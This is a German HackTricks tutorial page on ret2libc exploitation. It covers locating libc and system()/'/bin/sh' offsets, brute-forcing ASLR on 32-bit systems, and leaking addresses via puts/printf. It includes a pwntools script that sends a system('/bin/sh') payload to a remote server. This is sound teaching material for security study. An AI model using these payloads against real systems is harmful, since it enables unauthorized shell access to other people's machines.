Ret2lib

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines verwundbaren Programms auf eine Funktion innerhalb einer Shared Library (z. B. system, execve, strcpy) umzuleiten, anstatt vom Angreifer bereitgestelltes shellcode auf dem stack auszuführen. Der Angreifer erstellt eine payload, die die return address auf dem stack so verändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und sorgt gleichzeitig dafür, dass alle notwendigen Argumente gemäß der calling convention korrekt gesetzt werden.

Beispielschritte (vereinfacht)

  • Hole die Adresse der aufzurufenden Funktion (z. B. system) und des aufzurufenden Befehls (z. B. /bin/sh)
  • Erzeuge eine ROP chain, um das erste Argument so zu übergeben, dass es auf den Befehlsstring zeigt, und den Ausführungsfluss zur Funktion zu lenken

Adressen finden

  • Vorausgesetzt, dass die verwendete libc die der aktuellen Maschine ist, kannst du herausfinden, wo sie im Speicher geladen wird mit:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Wenn du überprüfen willst, ob ASLR die Adresse von libc verändert, kannst du Folgendes tun:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Wenn die verwendete libc bekannt ist, lässt sich außerdem der Offset zur Funktion system finden mit:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Wenn die verwendete libc bekannt ist, lässt sich auch der Offset zur Zeichenkette /bin/sh ermitteln mit:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Using gdb-peda / GEF

Wenn die verwendete libc bekannt ist, kann man auch Peda oder GEF verwenden, um die Adresse der Funktion system, der Funktion exit und des Strings /bin/sh zu ermitteln:

p system
p exit
find "/bin/sh"

Using /proc/<PID>/maps

Wenn der Prozess bei jeder Interaktion (z. B. ein Netzwerk-Server) Child-Prozesse erzeugt, versuche, diese Datei zu lesen (wahrscheinlich benötigst du Root-Rechte).

Hier findest du genau, wo libc innerhalb des Prozesses geladen ist und wo es bei jedem Child-Prozess geladen wird.

In diesem Fall wird es bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein)

Unbekannte libc

Es kann sein, dass du die libc, die das Binary lädt, nicht kennst (weil sie sich auf einem Server befindet, auf den du keinen Zugriff hast). In diesem Fall könntest du die Schwachstelle ausnutzen, um einige Adressen zu leak und herauszufinden, welche libc Bibliothek verwendet wird:

Leaking libc address with ROP

Und du findest eine pwntools-Template dafür in:

Leaking libc - template

libc mit 2 Offsets herausfinden

Besuche die Seite https://libc.blukat.me/ und verwende ein paar Adressen von Funktionen innerhalb der libc, um die verwendete Version herauszufinden.

ASLR bei 32-Bit-Systemen umgehen

Diese Brute-Force-Angriffe sind nur für 32-Bit-Systeme nützlich.

  • Wenn der exploit lokal ist, kannst du versuchen, die Basisadresse von libc per Brute-Force zu finden (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Wenn du einen remote server angreifst, könntest du versuchen, die Adresse der libc-Funktion usleep per brute-force zu ermitteln, und ihr z. B. das Argument 10 zu übergeben. Wenn der server 10s länger braucht, um zu antworten, hast du die Adresse dieser Funktion gefunden.

One Gadget

Starte eine Shell, indem du einfach zu einer bestimmten Adresse in libc springst:

One Gadget

x86 Ret2lib Codebeispiel

In diesem Beispiel ist ASLR brute-force in den Code integriert und das verwundbare Binary befindet sich auf einem remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib-Codebeispiel

Siehe das Beispiel in:

ROP & JOP

ARM64 Ret2lib-Beispiel

Im Fall von ARM64 springt die ret-Instruktion dorthin, auf das Register x30 zeigt, und nicht dorthin, auf das Stack-Register zeigt. Daher ist es etwas komplizierter.

Außerdem macht bei ARM64 eine instruction genau das, was die instruction vorgibt (es ist nicht möglich, in die Mitte einer instruction zu springen und sie in neue umzuwandeln).

Siehe das Beispiel in:

Ret2lib + Printf leak - arm64

Ret-into-printf (oder puts)

Dies ermöglicht ein leak Informationen aus dem Prozess durch Aufruf von printf/puts mit bestimmten Daten als Argument. Zum Beispiel führt das Platzieren der Adresse von puts in der GOT in einen Aufruf von puts zu einem leak der Adresse von puts im Speicher.

Ret2printf

Das bedeutet im Grunde, ein Ret2lib auszunutzen, um es in eine printf format strings vulnerability zu verwandeln, indem man das ret2lib benutzt, um printf mit den Werten aufzurufen, die zum Ausnutzen benötigt werden (klingt nutzlos, ist aber möglich):

Format Strings

Weitere Beispiele & Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks